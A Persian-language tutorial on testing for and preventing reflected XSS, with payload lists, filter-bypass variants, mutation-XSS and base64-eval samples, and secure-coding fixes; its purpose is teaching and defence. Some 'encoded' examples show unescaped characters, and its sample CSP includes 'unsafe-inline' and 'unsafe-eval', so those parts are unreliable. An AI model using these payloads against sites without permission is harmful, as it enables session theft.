در حال بارگذاری...
تست آسیبپذیری Cross-Site Scripting بازتابی (Reflected XSS) که در آن ورودی کاربر بدون اعتبارسنجی در پاسخ وب بازتاب داده میشود.
اهداف این درس
آسیبپذیری Cross-Site Scripting بازتابی (Reflected XSS) زمانی رخ میدهد که برنامه وب دادههای دریافتی از کاربر را بدون اعتبارسنجی و خروجیگیری مناسب در پاسخ HTTP بازتاب دهد. مهاجم میتواند اسکریپتهای مخرب JavaScript را از طریق URL یا پارامترهای درخواست به برنامه تزریق کند.
نوعی آسیبپذیری امنیتی وب که در آن مهاجم میتواند اسکریپتهای مخرب را در صفحات وب تزریق کند.
XSS زمانی رخ میدهد که برنامه ورودی کاربر را در خروجی HTML قرار میدهد بدون اینکه کاراکترهای خاص را رمزگذاری کند. مشکل اصلی ترکیب کد و داده در خروجی HTML است. وقتی برنامه دادههای کاربر را مستقیماً در HTML قرار میدهد، مرورگر نمیتواند تشخیص دهد کدام بخش کد است و کدام بخش داده.
1<!-- کد آسیبپذیر - ترکیب کد و داده -->2<p>نتایج جستجو برای: <?php echo $query; ?></p>34<!-- اگر کاربر وارد کند: <script>alert('XSS')</script> -->5<!-- خروجی تبدیل میشود به: -->6<p>نتایج جستجو برای: <script>alert('XSS')</script></p>7<!-- مرورگر اسکریپت را اجرا میکند! -->1<!-- کد امن - رمزگذاری خروجی -->2<p>نتایج جستجو برای: <?php echo htmlspecialchars($query, ENT_QUOTES, 'UTF-8'); ?></p>34<!-- خروجی تبدیل میشود به: -->5<p>نتایج جستجو برای: <script>alert('XSS')</script></p>6<!-- مرورگر متن را نمایش میدهد، نه کد را -->| Context | نوع رمزگذاری | مثال payload | مثال رمزگذاری |
|---|---|---|---|
| داخل تگ HTML | HTML Entity | <script>alert()</script> | <script>alert()</script> |
| داخل attribute | HTML Attribute | " onfocus=alert() " | " onfocus=alert() " |
| داخل JavaScript | JavaScript String | '; alert(); // | \x27; alert(); // |
| داخل URL | URL Encoding | javascript:alert() | javascript%3Aalert() |
| داخل CSS | CSS Encoding | expression(alert()) | expression\28alert\28\29\29 |
مقایسه انواع XSS
| ویژگی | بازتابی | ذخیرهشده | DOM-based |
|---|---|---|---|
| نقطه ذخیره | درخواست HTTP | پایگاه داده | مرورگر |
| نقطه اجرا | پاسخ HTTP | صفحه وب | DOM |
| نیاز به تعامل | بله (کلیک روی لینک) | خیر | بله |
| تأثیر | متوسط | بالا | متوسط تا بالا |
| شناسایی | نسبتاً آسان | آسان | سخت |
تمام نقاط ورودی که دادههای کاربر را دریافت میکنند شناسایی کنید:
1// تست ساده2<script>alert('XSS')</script>34// تست با تگهای جایگزین5<img src=x onerror=alert('XSS')>6<svg onload=alert('XSS')>7<body onload=alert('XSS')>8<input onfocus=alert('XSS') autofocus>9<details open ontoggle=alert('XSS')>1011// تست attribute12" onfocus=alert('XSS') autofocus="13' onfocus=alert('XSS') autofocus='1415// تست JavaScript16javascript:alert('XSS')1718// تست encoding19%3Cscript%3Ealert('XSS')%3C/script%3E20\x3cscript\x3ealert('XSS')\x3c/script\x3e1// تغییر حروف2<ScRiPt>alert('XSS')</ScRiPt>3<SCRIPT>alert('XSS')</SCRIPT>45// استفاده از encoding6<img src=x onerror=\x61lert('XSS')>7<svg onload=\u0061lert('XSS')>89// استفاده از تگهای جایگزین10<iframe src=javascript:alert('XSS')>11<embed src=javascript:alert('XSS')>12<object data=javascript:alert('XSS')>1314// استفاده از event handlerها15<img src=x onerror=alert('XSS')>16<svg onload=alert('XSS')>17<body onload=alert('XSS')>18<input onfocus=alert('XSS') autofocus>19<details open ontoggle=alert('XSS')>2021// استفاده از encoding مختلف22<img src=x onerror=alert('XSS')>23<svg onload=alert('XSS')>در تست حرفهای، هر پاسخ باید مستند شود:
Content Security Policy (CSP) لایه دفاعی مهمی در برابر XSS است:
1Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self';در برنامههای تکصفحهای (SPA) و معماریهای مدرن، XSS ممکن است از طریق مسیرهای متفاوتی رخ دهد:
1// آسیبپذیر - استفاده از innerHTML2document.getElementById('output').innerHTML = location.hash.substring(1);34// آسیبپذیر - استفاده از eval5eval(location.hash.substring(1));67// آسیبپذیر - استفاده از document.write8document.write(location.search.substring(1));910// امن - استفاده از textContent11document.getElementById('output').textContent = location.hash.substring(1);در برخی موارد، مرورگر ممکن است HTML را بهصورت متفاوتی تفسیر کند که منجر به XSS میشود:
1<!-- مرورگر ممکن است این را بهصورت متفاوتی تفسیر کند -->2<noscript><p title="</noscript><img src=x onerror=alert(1)>">34<!-- یا -->5<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>Self-XSS نوعی XSS است که فقط خود کاربر میتواند آن را اجرا کند. اگرچه ممکن است خطرناک به نظر نرسد، اما میتواند در حملات فیشینگ استفاده شود.
1// استفاده از encoding مختلف2<img src=x onerror=\x61lert('XSS')>3<svg onload=\u0061lert('XSS')>45// استفاده از تگهای ناشناخته6<details open ontoggle=alert('XSS')>7<marquee onstart=alert('XSS')>89// استفاده از encoding در attribute10<img src=x onerror=alert('XSS')>1112// استفاده از base6413<img src=x onerror=eval(atob('YWxlcnQoJ1NTWCcp'))>1415// استفاده از URL encoding16%3Cimg%20src%3Dx%20onerror%3Dalert('XSS')%3EXSS میتواند با سایر آسیبپذیریها ترکیب شود:
شواهد قوی شامل موارد زیر است:
| Context | روش رمزگذاری | مثال |
|---|---|---|
| HTML Body | HTML Entity Encoding | < > & " ' |
| HTML Attribute | HTML Attribute Encoding | " ' & |
| JavaScript | JavaScript Encoding | \x27 \x22 \x5c |
| URL | URL Encoding | %3C %3E %22 %27 |
| CSS | CSS Encoding | \28 \29 \22 |
هشدار
هرگز فقط به فیلترهای سمت کلاینت اعتماد نکنید. تمام اعتبارسنجیها باید در سمت سرور هم انجام شوند.
توصیه عملی
از کتابخانههای شناختهشده مثل DOMPurify برای ضدعفونی کردن HTML در سمت کلاینت استفاده کنید. اما به یاد داشته باشید که خروجیگیری مناسب مهمتر از ضدعفونی کردن است.
نکته حرفهای
در تست حرفهای، ابتدا context را شناسایی کنید، سپس payload مناسب آن context را انتخاب کنید. همیشه شواهد را مستند کنید و CSP را بررسی کنید.
XSS بازتابی فقط زمانی اجرا میشود که قربانی روی لینک مخرب کلیک کند.
فیلترهای سمت کلاینت بهتنهایی کافی نیستند و باید سمت سرور هم اعتبارسنجی شود.
Content Security Policy (CSP) لایه دفاعی مهمی در برابر XSS است.
خروجیگیری مناسب (Output Encoding) مهمترین روش پیشگیری از XSS است.
XSS بازتابی چگونه اجرا میشود؟
تفاوت بین XSS بازتابی و ذخیرهشده چیست؟
در XSS بازتابی، اسکریپت مخرب در درخواست HTTP وجود دارد و در پاسخ بازتاب داده میشود. در XSS ذخیرهشده، اسکریپت در سرور ذخیره میشود و به همه کاربران نمایش داده میشود.
آیا XSS بازتابی همیشه خطرناک است؟
بله، اگرچه نیاز به تعامل قربانی دارد، اما از طریق فیشینگ و شبکههای اجتماعی میتواند گسترش یابد و برای سرقت Session و اطلاعات حساس استفاده شود.